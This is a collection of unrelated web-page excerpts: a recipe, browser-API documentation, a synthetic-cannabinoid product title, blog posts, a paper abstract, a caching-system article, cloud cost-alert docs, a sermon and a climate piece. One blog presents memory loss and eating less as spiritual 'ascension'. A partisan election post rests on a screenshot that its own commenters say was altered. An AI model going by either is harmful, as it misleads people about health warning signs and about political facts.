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global_05_local_5_shard_00002591_processed.jsonl/40451 | Easiest Way to Cook Appetizing Garlic bread
Garlic bread. Garlic bread (also called garlic toast) consists of bread (usually a baguette or sour dough like a ciabatta), topped with garlic and olive oil or butter and may include additional herbs, such as oregano or chives. It is then either grilled or broiled until toasted or baked in a conventional or bread oven. This homemade garlic bread is the answer!
Garlic bread Today I'm making one of the world's simple eating pleasures, garlic bread. What could be tastier than homemade garlic bread straight out the oven? Why not try Paul Hollywood's garlic bread recipe, which is topped with golden, melted mozzarella. You can have Garlic bread using 5 ingredients and 5 steps. Here is how you achieve it.
Ingredients of Garlic bread
1. Prepare of Chopped garlic.
2. Prepare of Bread, butter.
3. You need of Chesse (mozorella, amul chesse).
4. It’s of Non stick pan or tava not non stick.
5. Prepare of Origino, chilli flakes.
This Is By Far Our Favorite Garlic Bread Recipe. It Takes Minutes To Put Together And Is SO Cheesy And Delicious. It's The Perfect Side Dish For Any Meal, But Especially For Pasta And Italian Dishes! We cut the bread into thick slices and devoured the loaf.
Garlic bread instructions
1. Take one bowl poured some chopped garlic and butter (not melted) mix it well.
2. Take one bread and spread garlic paste that we made in first step than spread some chesse than sprink origino, chilli flakes.
3. Preheat tava or pan with butter for 30 to 40 sec than put garlic bread that we made in 2 step bake 2to3 min.
4. Our garlic bread is ready.
5. For more recipes subscribe my channel cook with diya on YouTube and cookpad.
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global_05_local_5_shard_00002591_processed.jsonl/40457 | The W3C's DOM Level 1 Core is a powerful object model for changing the content tree of documents. It is supported in all major browsers including Mozilla Firefox and Microsoft Internet Explorer. It is a powerful base for scripting on the web.
The presence of whitespace in the DOM can make manipulation of the content tree difficult in unforeseen ways. In Mozilla, all whitespace in the text content of the original document is represented in the DOM (this does not include whitespace within tags). (This is needed internally so that the editor can preserve formatting of documents and so that white-space: pre in CSS will work.) This means that:
The StyleSheetList interface represents a list of StyleSheet.
The beforeunload event is fired when the window, the document and its resources are about to be unloaded.
The Web platform provides several ways to get notified of DOM events. Two common styles are: the generalized addEventListener() and a set of specific on-event handlers. This page focuses on the details of how the latter work.
An XPathExpression is a compiled XPath query returned from document.createExpression(). It has a method evaluate() which can be used to execute the compiled XPath.
In combination with elevation, azimuth enables different audio sources to be positioned spatially for aural presentation. This is important in that it provides a natural way to tell several voices apart, as each can be positioned to originate at a different location on the sound stage. Stereo output produce a lateral sound stage, while binaural headphones and multi-speaker setups allow for a fully three-dimensional stage.
The CSS visual formatting model is an algorithm that processes a document and displays it on visual media. This model is a basic concept of CSS. The visual formatting model transforms each element of the document and generates zero, one, or several boxes that conform to the CSS box model. The layout of each box is defined by:
Loads a resource into either a new browsing context (such as a window) or one that already exists, depending on the specified parameters.
Each HTML element must abide by rules defining what kind of content it can have. These rules are grouped into content models common to several elements. Each HTML element belongs to zero, one, or multiple content models, each setting rules that the element's content must follow in an HTML-conformant document.
Traditionally in browsers the HTML parser has run on the main thread and has blocked after a </script> tag until the script has been retrieved from the network and executed. The HTML parser in Firefox 4 and later supports speculative parsing off the main thread. It parses ahead while scripts are being downloaded and executed. As in Firefox 3.5 and 3.6, the HTML parser starts speculative loads for scripts, style sheets and images it finds ahead in the stream. However, in Firefox 4 and later the HTML parser also runs the HTML tree construction algorithm speculatively. The upside is that when a speculation succeeds, there's no need to reparse the part of the incoming file that was already scanned for scripts, style sheets and images. The downside is that there's more work lost when the speculation fails.
CSS gradients are new types of <image> added in the CSS3 Image Module. Using CSS gradients lets you display smooth transitions between two or more specified colors. This lets you avoid using images for these effects, thereby reducing download time and bandwidth usage. In addition, because the gradient is generated by the browser, objects with gradients look better when zoomed, and you can adjust your layout much more flexibly.
The -moz-binding CSS property is used by Mozilla-based applications to attach an XBL binding to a DOM element.
Adopts a node from an external document. The node and its subtree is removed from the document it's in (if any), and its ownerDocument is changed to the current document. The node can then be inserted into the current document. |
global_05_local_5_shard_00002591_processed.jsonl/40466 | AM-2210 Powder 100g
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global_05_local_5_shard_00002591_processed.jsonl/40503 | ??? Why I Do This!
Let me tell you why
Saul Bass is one of my favorite creative influences.
He‘s probably of the most successful graphic designers of all time.
His logo designs for major brands, film posters, and kinetic type title sequences for films like Psycho, The Shinning, and Vertigo are iconic.
There’s no doubt that…
Saul was a real creative genius.
But I have a problem with one of his most shared quotes:
I want to make beautiful things, even if nobody cares.
Saul Bass – American graphic designer and Oscar-winning filmmaker
As a creative…
I understand what Saul is trying to say.
I also find it fulfilling to make “beautiful“ things.
But as giver, not a taker.
I find this quote to be somewhat selfish.
I believe the act of giving is very noble.
Especially if it makes helps people.
That‘s why I care.
And why I give my best to try to make “beautiful“ things for you.
I want you to enjoy and care about the things I make.
Because I want to inspire you to make your creative ideas happen.
So you can do the same for others.
This is why I do this.
So If you do care…
And you like what I‘m trying to do…
Then it’s your turn…
To do the same!
And please get in touch and tell me about your creative ideas.
Because I need to be inspired too.
Show me what you’re making.
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global_05_local_5_shard_00002591_processed.jsonl/40505 | Upcoming Mood Prediction Using Public Online Social Networks Data: Analysis over Cyber-Social-Physical Dimension
Chaima DHAHRI Kazunori MATSUMOTO Keiichiro HOASHI
IEICE TRANSACTIONS on Information and Systems Vol.E102-D No.9 pp.1625-1634
Publication Date: 2019/09/01
Online ISSN: 1745-1361
DOI: 10.1587/transinf.2018OFP0006
Type of Manuscript: Special Section PAPER (Special Section on Log Data Usage Technology and Office Information Systems)
Category: Emotional Information Processing
mood prediction, pearson correlation, OSNs analysis, autonomous system,
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Upcoming mood prediction plays an important role in different topics such as bipolar depression disorder in psychology and quality-of-life and recommendations on health-related quality of life research. The mood in this study is defined as the general emotional state of a user. In contrast to emotions which is more specific and varying within a day, the mood is described as having either a positive or negative valence[1]. We propose an autonomous system that predicts the upcoming user mood based on their online activities over cyber, social and physical spaces without using extra-devices and sensors. Recently, many researchers have relied on online social networks (OSNs) to detect user mood. However, all the existing works focused on inferring the current mood and only few works have focused on predicting the upcoming mood. For this reason, we define a new goal of predicting the upcoming mood. We, first, collected ground truth data during two months from 383 subjects. Then, we studied the correlation between extracted features and user's mood. Finally, we used these features to train two predictive systems: generalized and personalized. The results suggest a statistically significant correlation between tomorrow's mood and today's activities on OSNs, which can be used to develop a decent predictive system with an average accuracy of 70% and a recall of 75% for the correlated users. This performance was increased to an average accuracy of 79% and a recall of 80% for active users who have more than 30 days of history data. Moreover, we showed that, for non-active users, referring to a generalized system can be a solution to compensate the lack of data at the early stage of the system, but when enough data for each user is available, a personalized system is used to individually predict the upcoming mood. |
global_05_local_5_shard_00002591_processed.jsonl/40509 | Conversations With A Self-Publishing Writer: 05/29/2015
Not long ago a dear friend and neighbor showed me several photographs she’d taken of “her tree”—one that has been standing not far from her living-room window since before she moved into her home. “Every year I tell the trimmer to be careful with that tree,” she tells me. “It must survive at least as long as I do.” She will soon celebrate her 95th birthday.
This month I’ve used illustrations of a tree’s innards to demonstrate a different method of plot development. Today I am adding one more element—a different perspective—the inspiration that trees provide to writers and readers alike and the intense feelings that are partnered with that in the form of symbolisms. Something happens in the human spirit when looking up into limbs and branches as they tower above us—almost allowing us to touch the sky above—that speaks to a writer’s heart and encourages us to follow that perspective as we develop our novels. You see, there are really NO limits to the creative imagination of the writer.
• Possibly the most world-wide symbolic phrase that describe a tree is The Tree of Life. From root system to seasons of life throughout many years, there exists the basic human understanding that where trees grow so does life.
• From a single, standing alone tree to the vast forests, they represent a Witness to Human History. (The Prophet Elijah finds shade and rest under a Juniper Tree. Isaac Newton allegedly discovers gravity watching that fruit fall from the Apple Tree.)
• Individual species of trees have taken on very specific symbolic meanings, such as:
• The Bamboo = freedom of spirit, flexibility and renewal
• The Cedar = healing
• The Elm = inner strength and intuition
• The Redwood = keeper of ancient wisdom
• The Willow = inner vision as we learn from the past
• The very visual seasonal changes of the trees around us are symbolic of our own human passages of life.
• As tree limbs pull up the nurturing waters from their roots and begin to green, we feel the expectations of the New Seasons in our lives.
• As trees blossom and invite nesting birds and butterflies, there is the comparison of new and renewed relationships.
• In the seasons of Fall and Winter we might experience a sadness of lost opportunities. Yet there is a calm reassurance in the naturally rich browns of solid tree trunks and evergreen trees that promise a future beyond the moment.
So it is that I close out my season of writings—for writers—focusing on TREES and their usefulness to us on multiple levels of thought. The two photos I’ve used today are my own, taken when needing a break from the keyboard. I continue to be blessed every time I step out with camera-in-hand, often ending up seated on a bench and typing notes onto my cellphone as inspiration hits. I hope you will take such adventures too, and when you’ve completed that novel (or book of poetry, etc.) that you’ll get it edited (don’t hesitate to utilize the skills of a ghostwriter), revised, and PUBLISHED!
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global_05_local_5_shard_00002591_processed.jsonl/40517 | Friday, December 4, 2020
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Leonard Peltier: Statement of solidarity with Mumia Abu-Jamal
Whether or not you approve of capital punishment is irrelevant as long as minorities are executed with alarming disparities. Whether you approve or not is of secondary concern when people like Mumia Abu Jamal, myself and many others are convicted and sentenced to die with evidence that would exonerate ‘most any white man. As such, every single progressive organization should oppose the death penalty as we now know it. |
global_05_local_5_shard_00002591_processed.jsonl/40523 | Gradually Ascending – Steve Beckow @ Golden Age of Gaia
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Again, this is part of my ascension ethnography.
I’ve talked about the breakthroughs. But there are also bothersome conditions and embarrassing situations.
For instance, I’ve lost my memory. About as totally as I can imagine and still be functioning.
I guess I mean a certain kind of memory because I can still write. It’s become so bad that, if someone wants to have lunch with me, I have to ask them to call me the morning of.
I had a running joke with a conference-call participant. I warned him that I absolutely could not be trusted to remember to place the call at 2:00. At 2 minutes to 2, I forgot. And I remembered with 15 seconds to spare. It was a hoot.
Today, I locked my shoulder bag in my garage. I forgot it was not outside, but inside. As I shut the lock, I immediately sensed that something was missing and had just been locked inside.
And my cognitive skills in finding an appropriate solution were … well, Third-Dimensionally-impaired. I fumbled around. It was if I was a stranger in a strange land. I’ve forgotten all the stuff I knew about mechanical repairs, or quite a bit of other once-useful information. My mind is rapidly becoming a blank slate.
AAM once said to me that the Reval had been in the planning for much too long to allow it to go off the rails in some particular. So I’m confident that my memory will return by the time I really need it.
I’m losing touch with the Third Dimension. I know I have to let go. But letting go is challenging.
Certainly, desires hold me back. Desire for the company of certain people whom I love, desire to see the Reval occur, desire to write that one more story in me that burns to be heard and isn’t ready to come out just yet.
But I’m becoming less and less able to operate this 3D body with its 3D programming.
I watch myself eat less and less. I see less and less that I want to eat. I don’t want to go anywhere. I look forward to the time of night when I can lie on my bed and contemplate. I watch myself gradually withdrawing my attention from this world – for a time.
This is the period when mountains are no longer mountains and rivers are no longer rivers. But they’ll become mountains and rivers again.
My mind is ever drifting towards the Divine. The divine qualities, the nature of the Trinity, a world that works, peace, bliss, transformative love. I’m steeped in this conversation and it’s all coming together as a unified whole.
It isn’t as if a war was fought and won. Third Dimensionality is seeping away like the dew on the grass under the risen sun.
In the meantime I’m going to look like Charlie Chaplin. Fumbling around and trying to look competent.
Be kind to someone you see who’s struggling with their Third-Dimensional persona. If there’s a little slippage, a slight out-of-phaseness, they may just be gradually ascending.
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1. You have no idea how relieving it is to read your message. I am experiencing the same things and it is making things very difficult.
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global_05_local_5_shard_00002591_processed.jsonl/40543 | Sky shames Kuenssberg on #Labourmanifesto #GE17 (video)
As the SKWAWKBOX reported this morning, Radio 4’s John Humphrys did an outstanding job (audio) of forcing Tory Philip Hammond into his own ‘car crash’ moment over his attempts to rubbish Labour’s fully-costed manifesto – and his complete inaccuracy over the cost of the ‘HS2’ rail line.
Humphrys identified the Tories’ deliberate misrepresentation of Labour’s spending commitments, but Laura Kuenssberg of BBC News sadly failed spectacularly – in fact, she did little more than to parrot, almost literally, the nonsensical Tory attack line:
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Hat-tip to Evolve Politics’ Matt Turner for the great spot!
Sky News, on the other hand, did actual journalist-work and stuck a knife through the heart of the Tories’ lies, as this video clip shows:
In case you can’t watch the video, here’s a potted summary:
• the Tories made a huge mis-step by holding a press conference to talk about Labour’s manifesto, drawing even more attention to its popularity with voters
• the Tories’ attack document claiming a £58bn ‘black hole’ in Labour’s plans is false
• they put themselves in the firing line just as it came out that they’re making us all poorer with their policies
• they gave everyone the opportunity to call out Hammond on his rift with Theresa May, which has even involved Hammond swearing during calls with the PM
Ironic that a commercial broadcaster is doing its journalistic job and calling out the Tories for their lies and incompetence when the supposedly-impartial state broadcaster merely acted (again) as a propaganda mouthpiece for the Conservative party.
1. I think we should be very careful with any false dawns. Any hint that the likes of Sky, the BBC or the press are secretly wanting to provide true impartiality in their coverage.
Commercial outfits have a bottom line, which involves pulling in cash and lots of it. So they’ll never alienate the majority of their readers or fee-paying subscribers and risk loss of custom.
The GE is still distant enough for them to affect ‘positive’ coverage of Labour and ‘negative’ coverage of Tories. If the past is anything to go by, they’ll have something in reserve to clobber the ‘party of anti-capitalism’, Labour with over the head as the big day draws near.
In 2015 on the eve of the General Election, The Independent (lol) newspaper (printed version) surprisingly came out backing the Tories. Then after the election it was back to slagging them off in the hope they could turn around dire sales figures that had been plummeting for the last 15 years. Ultimately it didn’t pay off and it’s no longer printed.
2. Having read the manifesto I’m struggling to find what’s inaccurate in Ms Kuenssberg’s headline.
Labour are planning to spend more on for example the NHS, planning to pay for the increased spending by taxing the top 5% and companies more and planning to borrow more for eg the National Transformation Fund.
1. For accuracy I’m reading the actual manifesto, rather than the Chancellor’s take on it.
Specifically what’s misleading?
Tax will be increased for certain groups and companies, and that tax will be spent – so increases in tax and spending are 100% accurate reporting. see http://www.labour.org.uk/page/-/PDFs/ONLINE%209660_17%20HMT%20Manifesto%20pamphlet%20.pdf
Whilst the increased borrowing is not quantified in the manifesto, the fact of it is implicit, for example in the renationalisations and creation of the transformation fund – so increase in borrowing again seems 100% accurate reporting.
1. At 09:39, Graham Hindson said:
At 10:57, Graham Hindson said:
Specifically what’s misleading?
All of it – all 4 specific parts:
• “Labour manifesto vision:” – The vision is undoubtedly politics for the many, not the few. Anyone who reads the Labour Party Manifesto can clearly see that this theme runs throughout the entire manifesto; anything to the contrary is already deviating from the truth.
• “More spending,” – This has the negative connotation of cost, waste, or recklessness when actually we’re talking about public spending – on vital public services!
• “more tax,” – For who?! Me?!! – No, this again needs to be qualified with ‘for those who can quite comfortably afford it’! People earning less than 80000£/yr can dismiss this part of the headline outright.
• “more borrowing”Than what?!! Couldn’t possibly be the Tories, which, in the past 7 years ALONE, have increased the public debt more than EVERY Labour government in British history COMBINED!!! Which is actually just 2 Labour Governments – all the others actually reduced the debt, referenced to GDP.
Admittedly it’s a case of can’t see the wood for the trees! 😁 And all in just the headline!! 😆
1. The manifesto and the link above are quite clear that tax will rise for certain groups and companies to pay for more spending, and the nationalisations which the current, and next Conservative government wouldn’t do will have to paid for out of more borrowing.
There’s a limit to what a headline can contain, but the detail of the manifesto is well covered on the BBC website.
As an aside corporation tax isn’t a “victimless crime”. Shareholder dividends will have to fall, and many large shareholders are pension funds which must put further strain on them.
3. So where’s that left-hand (Tory) screenshot actually from, then?
I can’t find it anywhere – but I’m *sure* you’ve fact-checked this. It would be incredibly irresponsible to just share something like this without doing so, after all…
1. Tsk, guaranteed that as soon as I say I “can’t find it anywhere” I up and find it right away.
It’s from the Swindon Conservatives page. April 2014.
It’s had to be photoshopped to exclude the word ‘Swindon’, and a picture of Ed Miliband and Ed Balls.
And we have to believe that Laura K is “parroting” a Conservative slogan from three years ago.
But it’s the BBC who do ‘fake news’, yeah?
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global_05_local_5_shard_00002591_processed.jsonl/40566 | Meet the Baconator
How to make a dynamically generated news site work like a statically generated one and sleep better at night
Giulio Bonasera, special to ProPublica
This post was co-published with ProPublica.
As a member of the team responsible for keeping ProPublica’s website online, there were times when I wished our site were static. Static sites have a simpler configuration with fewer moving parts between the requester and the requested webpage. All else being equal, a static site can handle more traffic than a dynamic one, and it is more stable and performant. However, there is a reason most sites today, including ProPublica’s, are dynamically generated.
In dynamic sites, the structure of a webpage—which includes items such as titles, bylines, article bodies, etc.—is abstracted into a template, and the specific data for each page is stored in a database. When requested by a web browser or other end client, a server-side language can then dynamically generate many different webpages with the same structure but different content. This is how frameworks like Ruby on Rails and Django, as well as content management systems like WordPress, work.
That dynamism comes at a cost. Instead of just HTML files and a simple web server, a dynamic site needs a database to hold its content. And while a server for a static site responds to incoming requests by simply fetching existing HTML files, a dynamic site’s server has the additional job of generating those files from scripts, templates and a database. With moderately high levels of traffic, this can become resource intensive and, consequently, expensive.
This is where caching comes into play. At its most basic, caching is the act of saving a copy of the output of a process. For example, your web browser caches images and scripts of sites you visit so subsequent visits to the same page will load much faster. By using locally cached assets, the web browser avoids the slow, resource-intensive process of downloading them again.
Caching is also employed by dynamic sites in the webpage generation process: at the database layer for caching the results of queries; in the content management system for caching partial or whole webpages; and by using a “reverse proxy,” which sits between the internet and a web server to cache entire webpages. (A proxy server can be used as an intermediary for requests originating from a client, like a browser. A reverse proxy server is used as an intermediary for traffic to and from a server.)
However, even with these caching layers, the demands of a dynamically generated site can prove high.
This was the case two years ago, shortly after we migrated ProPublica’s website to a new content management system. Our new CMS allowed for a better experience both for members of our production team, who create and update our articles, and for our designers and developers, who craft the end-user experience of the site. However, those improvements came at a cost. More complex pages, or pages requested very frequently, could tax the site to the point of making it crash. As a workaround we began saving fully rendered copies of resource-intensive pages and rerouting traffic to them. Everything else was still served by our CMS.
As we built tools to support this, our team was also having conversations about improving platform performance and stability. We kept coming back to the idea of using a static site generator. As the name suggests, a static site generator does for an entire site what our workaround did for resource-intensive pages. That is, generate and save a copy of each page. It can be thought of as a kind of cache, saving our servers the work of responding to requests in real time. It also provides security benefits, reducing a website’s attack surface by minimizing the amount users interact directly with potentially vulnerable server-side scripts.
In 2018, we brought the idea to a digital agency, Happy Cog, and began to workshop solutions. Because performance was important to us, they proposed that we use distributed serverless technologies like Cloudflare Workers or AWS Lambda@Edge to create a new kind of caching layer in front of our site. Over the coming months, we designed and implemented that caching layer, which we affectionately refer to as “The Baconator.” (Developers often refer to generating a static page as “baking a page out.” So naturally, the tool we created to do this programmatically for the entire site took on the moniker “The Baconator.”) While the tool isn’t exactly a static site generator, it has given us many of the benefits of one, while allowing us to retain the production and development workflows we love in our CMS.
How Does It Work?
There are five core components:
a chart showing the components of the Baconator stack
The components of the Baconator stack.
• Cache Data Store: A place to store cached pages. This can be a file system, database or in-memory data store like Redis or Memcached, etc.
• Source of Truth (or Origin): A CMS, web framework or “thing which makes webpages” to start with. In other words, the original source of the content we’ll be caching.
• Reverse Proxy: A lightweight web server to receive and respond to incoming requests. There are a number of lightweight but powerful tools that can play this role, such as AWS Lambda or Cloudflare Workers. However, the same can be achieved with Apache or Nginx and some light scripting.
• Queue: A queue to hold pending requests for cache regeneration. This could be as simple as a table in a database.
• Queue Worker: A daemon to process pending queue requests. Here again, “serverless” technologies, like Google Cloud, could be employed. However, a simple script on a cron could do the trick as well.
How Do the Components Interact?
When a resource (like a webpage) is requested, the reverse proxy receives the request and will then check the cache data store. If the cache for that resource exists, its expiration, or time to live (TTL), is saved in a variable to check against later, and the cache is served. The TTL is then checked. If the cache has not yet expired for the resource, it is considered valid and nothing else is done. If the cache has expired, the reverse proxy then adds a request to the queue for that resource’s cache to be updated.
Meanwhile, the queue worker is constantly checking the queue. As requests come into the queue, it generates the webpage from the origin and updates the corresponding cache in the data store.
And finally at the origin, anytime a page is created or edited, the cache data store is amended or updated.
a chart showing how the elements in the Baconator interact
How the elements in the Baconator interact.
For our team, the chief benefit of this system is the separation between our origin and web servers. Where previously the servers that housed our CMS (the origin) also responded to a percentage of incoming requests from the internet, now the two functions are completely separate. Our origin servers are only tasked with creating and updating content, and the reverse proxy is our web server that focuses solely on responding to requests. As a consequence, our origin servers could be offline and completely inaccessible, but our site would remain available, served by the reverse proxy from the content in our cache. In this scenario, we would be unable to update or create new pages, but our site would stay live. Moreover, because the web server simply retrieves and serves resources, and does not generate them, the site can handle more traffic and is more stable and performant.
Another important reason for moving to this caching system was to ease the burden on our origin servers. However, it should be noted that even with this caching layer it is possible to overload origin servers with too much traffic, though it’s far less likely. Remember, the reverse proxy will add expired pages to the queue, so if the cache TTLs are too short the queue will grow. And if the queue worker is configured to be too aggressive, the origin servers could be inundated with more traffic than they can handle. Conversely, if the queue worker does not run frequently enough, the queue will stay high, and stale pages will remain in cache and be served to end users for longer than desired.
The key to this system (as with any caching system) is proper configuration of TTLs: long enough so that the queue stays relatively low and the origin servers are not overwhelmed, but short enough to limit the time stale content is in cache. This will likely be different for different kinds of content (e.g., listing pages that change more frequently may need shorter TTLs than article pages). In our implementation, this has been the biggest challenge with moving to this system. It’s taken some time to get this right, and we continue to tweak our configurations to find the right balance.
For those interested in this kind of caching system, we’ve built a simple open-source version that you can run on your own computer. You can use it to explore the ideas outlined above.
• Frank Sharpe
Frank is ProPublica’s product developer. Previously, he worked in a variety of technology posts in the financial industry, as well as building web applications for local NYC-based nonprofit City Growers. Frank has a BS in Computer Science from Vassar College.
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global_05_local_5_shard_00002591_processed.jsonl/40605 | On his show, "Extinct or Alive," on Animal Planet, Galante is intent on finding animals once thought to be extinct. (Image via San Luis Obispo Tribune)
The world has been totally and irrevocably altered by humanity: The majority of land in the world has been shaped by our need for food, shelter and resources, contributing to the current Holocene extinction. Yet there are select conservationists and enthusiasts who believe that pockets of extinct species have in fact overcome the human obstacles to their survival. One such dreamer is Forrest Galante.
Galante is an American who grew up in Zimbabwe, where he spent much of his formative years capturing all manner of small animals. In 2016, Galante was offered the chance to work with Animal Planet on their TV movie “Extinct or Alive: Tasmanian Tiger,” and in 2018 he rejoined them for a TV series of the same premise for other officially extinct animals.
It’s not that he believes these animals to be alive, so much as he looks for locations that a given species could have found refuge in the face of extinction. There are numerous examples of extinct species reappearing, such as the New Guinea singing dog, an ancient species of dog believed to have been extinct in the wild for over five decades before a population was found in the mountains of New Guinea.
Other examples include the Galapagos pink land iguana and the ancient Coelacanth, a long-lost, lobe-finned fish thought to have followed the non-avian dinosaurs into extinction 65 million years ago before living specimens were discovered.
While Galante does not subscribe to the more cryptic sorts of supposed fauna, like Bigfoot or the Loch Ness monster, the rare animals he searches for can nevertheless make audiences doubt how serious his endeavors are.
The Tasmanian Tiger
The project that propelled Galante’s career of rediscovering animals is without a doubt the Tasmanian tiger. Like all marsupials, the Tasmanian tiger was separated from placental mammals by millions of years, yet, due to convergent evolution, evolved many dog-like characteristics to fill the predator niche. Because of their close resemblance to common canines, supposed sightings of the animal in Australia and Tasmania are taken as seriously as Bigfoot sightings.
Yet while Bigfoot is with near-certainty a fictitious organism, the Tasmanian tiger sightings have several elements in their favor: 1.) The Tasmanian tiger was hunted, killed, photographed and filmed before being declared extinct 2.) Australia is big, with an entire continent’s worth of places to hide and 3.) They were a very common sight just 80 years ago, so to assume that every single individual was eradicated without more in-depth search is premature.
Galante has so far been unable to locate them, but remains hopeful about a biologist’s recent sighting of several individuals.
Giant Sloths
While sloths are typically regarded as helpless, slow-moving tree dwellers, 10,000 years ago, in the Americas, sloths could be the size of an elephant. The giant ground sloths were rivaled in size by few other animals in the world and, accordingly, had free rein to feed with relatively little fear of predators. It was only with the arrival of humans that the sloth population was virtually wiped out.
These animals would have weighed an average of 3 to 5 tons, requiring a large amount of vegetation on a daily basis. How then, could such large animals with such immense dietary needs possibly exist in the modern world?
The answer lies in a highly elevated Peruvian basin surrounded by mountains, a region nearly impenetrable on foot. These mountains could have potentially shielded a pocket of surviving ground sloths from humans for thousands of years, something that indigenous peoples’ records of ground-sloth-like mythical creatures support.
Zanzibar Leopard
One of the discoveries Galante is best known for is the supposed sighting of a Zanzibar leopard. Since the mid-1990s, this elusive leopard was believed to be extinct, but in 2018 Galante and his crew captured images of what appeared to be a surviving individual. In fairness, the sighting cannot be 100 percent verified without further evidence, both observational and genetic. However, if proven true, it will be yet another testament to the impressive durability of nature.
Throughout the history of the human species, animals deemed a threat, source of food or sport have been targeted indiscriminately to the point of extinction. Ecosystems suffer as a result; ecological niches are left empty, and without enough time to recover, nothing else can take their place. Galante’s work is not just entertainment or an attempt to reintroduce species, but an important warning against driving animals to a point beyond extinction.
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global_05_local_5_shard_00002591_processed.jsonl/40608 | Azure Cost Alerts
The Azure Cost Alerts feature allows you to configure what Azure costs changes will trigger an email notification—allowing you to monitor your Azure costs at regular intervals and make immediate changes to keep your spend under control.
CloudCheckr provides three types of Azure cost alerts:
• Microsoft Azure Costs notify you when costs go above a budget threshold within a specified timeframe
• Microsoft Azure Costs (percent) identify cost fluctuations between two time periods
• Enterprise Agreement Overage notify you before your Enterprise Agreement (EA) balance runs out
Enterprise Agreement Overage alerts are only available for EA accounts.
Because Azure Cost alerts require you to have access to Azure billing, you must log in to a Cloud Solution Provider (CSP) or Enterprise Agreement (EA) account in CloudCheckr to use this feature.
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2. Navigate to Cost > Alerts > Results to display the Alert Results page, where you'll find searchable results that CloudCheckr stores for the life of your account:
As an alternative, select one of your notification methods, such as Slack or Jira, and view the alert results there.
Modify Cost Alerts
Select any of the following methods to modify your cost alert:
• Click an alert link on the Alert Manager page, change any values, and click Update.
• On the Alert Manager page, move the toggle button On or Off to enable or disable your alert.
• Click to delete the alert.
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global_05_local_5_shard_00002591_processed.jsonl/40615 | What is ChangeBuz.com ?
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global_05_local_5_shard_00002591_processed.jsonl/40640 | Believer’s Forgiveness Is Complete In Christ – Pastor Chukwuemeka Charles Asiegbu
Forgiveness In Christ:
Forgiveness In ChristForgiveness in Christ is only obtainable in Christ. There is no forgiveness outside Christ. The purpose of Christ going to the cross as orchestrated by God is to bring forgiveness to man. Whatever man has to receive from God has been rooted and established in the death of Christ. The death of Christ becomes a necessity for man because if Christ didn’t die man becomes a hopeless being. It’s apt to say that any man without Christ is living a hopeless life irrespective of his possession in life.
The means of receiving forgiveness of sin is through believing in the finished work of Christ. The finished work of Christ is encapsulated in His death burial and resurrection. So anyone that has believed that Christ died and was buried and on the third day He resurrected is saved from sin. It means his or her sins have been forgiven.
The promise of forgiveness of man’s sin wasn’t a thing of the New Testament but was established in the beginning. The beginning here is Genesis. The people in the beginning had to believe in Christ on a promissory note. God spoke to them about Christ in symbols and divers manners. Let’s see how the book of Hebrews puts it.
Hebrews 1:1
See what Apostle Paul has to say below in regards to this;
Galatians 3:8
Forgiveness In Christ God Preached To Abraham:
How did God preach to Abraham? The book Hebrews 1:1 answers that. It is stated it was in divers manners. The outcome of God’s preaching to Abraham was that Abraham believed God. The act of believing God brought and established God’s righteousness on Abraham.
Romans 4:3
What did Abraham believe from God? Nothing but the gospel God preached to him. The gospel God preached to Abraham was Christ. Notice that the gospel of Christ was and is nothing but the death, burial and resurrection of Christ. Let’s see what transpired between God and Abraham below.
Genesis 22:-14
Through Revealed Knowledge Abraham Believed In Christ:
In incident above the demonstration of the death, burial and resurrection of Christ was made manifest. Through this demonstration God made Abraham to believe in the gospel of Christ He preached to him. God preached of the coming of Christ to Abraham and he believed God. Then it was accounted unto him for righteousness. That he was declared righteous means that his sins are forgiven him. So Abraham and the rest of the Old Testament saints believed in Christ by faith on a promissory note. See the book of Hebrews chapter 11.
Note, they believed and were expecting Christ in their days but they all died without seeing Him. Jesus made this known where He declared thus to His Jewish audience.
John 8:56
God in His preaching to Abraham showed Christ to him by revelation and he saw Christ and rejoiced. The joy in his heart was the joy of his resurrection which is a product of Christ’s resurrection. However, notice as I said earlier, all promises of God are sealed up in Christ. These promises are confirmed and established in Christ as true.
2 Corinthians 1:20
This implies that the forgiveness of man’s sin in Christ is guaranteed. Therefore, in Christ, God is not making a conjectural statement but assured statements. Good Friday is the beginning of the fulfillment of God’s promises to man.
Forgiveness Of Sin Not Futuristic Event:
This is the will of God for Christ and Christ has to accomplish it in order for man to obtain forgiveness of sin. So forgiveness of sin is one of those of things that have been given and fulfilled in Christ. The implication here is that God has given man forgiveness already in Christ. Therefore, forgiveness of sin is not going to be a futuristic event but something that has taken place in Christ. Sins are forgiven not because someone asks for it but because it has been established and fulfilled in Christ. The only way to obtain forgiveness of sin is to be in Christ.
The Apostles in their days affirmed this very fact to their listeners. Let see the verses below.
Acts 5:31
What Apostle Peter preached above is being confirmed by Apostle Paul below.
Acts 13:8
Apostle Paul continued in affirming the same thing to his audience in Ephesus as stated below.
Ephesians 1:7
Also see Colossians 1:14.
The death of Jesus Christ on the cross availed man the opportunity to receive forgiveness of sin in Him. Apostle Paul puts it better thus;
Ephesians 4:32
About The Author:
In Christ, we will not be forgiven, we have been forgiven in Him!
Pastor Chukwuemeka Asiegbu is the Pastor of Saved In The Lord Evangelical Ministry Inter’l. He has authored many books and he’s behind several online Christian articles.
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global_05_local_5_shard_00002591_processed.jsonl/40689 | Small Things You Can do to Save Your Planet
But this will become our normal.
1. Reusable Straws
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2. Buy In-Season Produce
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3. Bags for Life
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4. Your Wardrobe
5. Be Aware
There are no excuses.
Knowledge is all you need to make smart choices.
Climate Change doesn’t Exist.
I do apologise if you’re here as a climate skeptic, unfortunately, I do believe in climate change as I think that science is correct on this one. It has been a subject of interest since I can remember. The term ‘global warming’ was introduced to me when I was in primary school because we were told the polar bears were going to go extinct. As a child, this made me very upset and I couldn’t understand why anyone would let that happen. However, since then, I can understand what is actually going on and how awful it could get. Somehow, some people still think it’s a myth, so here are some arguments that people still hold on to that put them in denial.
It’s getting Colder?
It is thought that if the winters get colder or if summer does not come around until July, that global warming has ‘stopped’. People could also get this idea by looking at the graph which only looks at extreme temperature anomalies. Clearly, there are years of extreme cold such as that between 1941 to around 1950 which people may think of as global warming ‘stopping’. However, it is clear that when looking at the 100-year climate trend, temperature anomalies have been rising in degrees over average periods of 15 years.
How is 1 or 2 Degrees going to make a Difference?
